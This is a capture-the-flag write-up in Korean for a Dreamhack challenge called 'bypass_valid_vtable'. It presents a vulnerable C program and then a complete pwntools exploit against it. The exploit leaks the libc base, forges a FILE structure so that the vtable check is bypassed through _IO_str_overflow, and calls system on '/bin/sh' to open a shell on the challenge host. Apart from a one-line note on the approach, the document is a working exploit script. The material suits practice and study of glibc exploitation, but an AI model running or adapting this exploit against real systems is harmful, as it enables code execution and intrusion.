// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie
#include <stdio.h>
#include <unistd.h>
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
이 문제의 버전은 validate 포인터가 변경되었는 지를 검사한다. 따라서 우리는 vtable 포인터를 변경할 수는 없는 상태이다. _IO_str_overflow를 이용해야 한다.
내가 생각한 풀이 방법이다. 위처럼 풀이하면 된다.
from pwn import *
REMOTE = True
#p = process('./bypass_valid_vtable')
e = ELF('./bypass_valid_vtable')
if REMOTE == False:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
binsh_offset = 0x1b45bd
else:
p = remote('host3.dreamhack.games', 20265)
libc = ELF('libc.so.6')
binsh_offset = 0x1b3e9a
fp = e.symbols['fp']
stdout_offset =libc.symbols['_IO_2_1_stdout_']
system_offset = libc.symbols['system']
__file_finish_offset = 0x10
__str_overflow_offset = 0xd8
_IO_file_jumps_offset = libc.symbols['_IO_file_jumps']
final_offset = __str_overflow_offset - __file_finish_offset
p.recvuntil('stdout: ')
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - stdout_offset
p.recvuntil('Data: ')
binsh_addr = libc_base + binsh_offset
_IO_file_jumps_addr = libc_base + _IO_file_jumps_offset
system_addr = libc_base + system_offset
payload = p64(0) * 4 # _flags, _readptr, _readend, _readbase
payload += p64(0) # write_base
payload += p64((binsh_addr - 100) / 2) #write_ptr
payload += p64(0) #write_end
payload += p64(0) #buf_base
payload += p64((binsh_addr - 100) / 2) #buf_end
payload += p64(0) * 8
payload += p64(fp+0x80)
payload += p64(0) * 9
payload += p64(_IO_file_jumps_addr + final_offset)
payload += p64(system_addr)
p.send(payload)
pause()
p.interactive()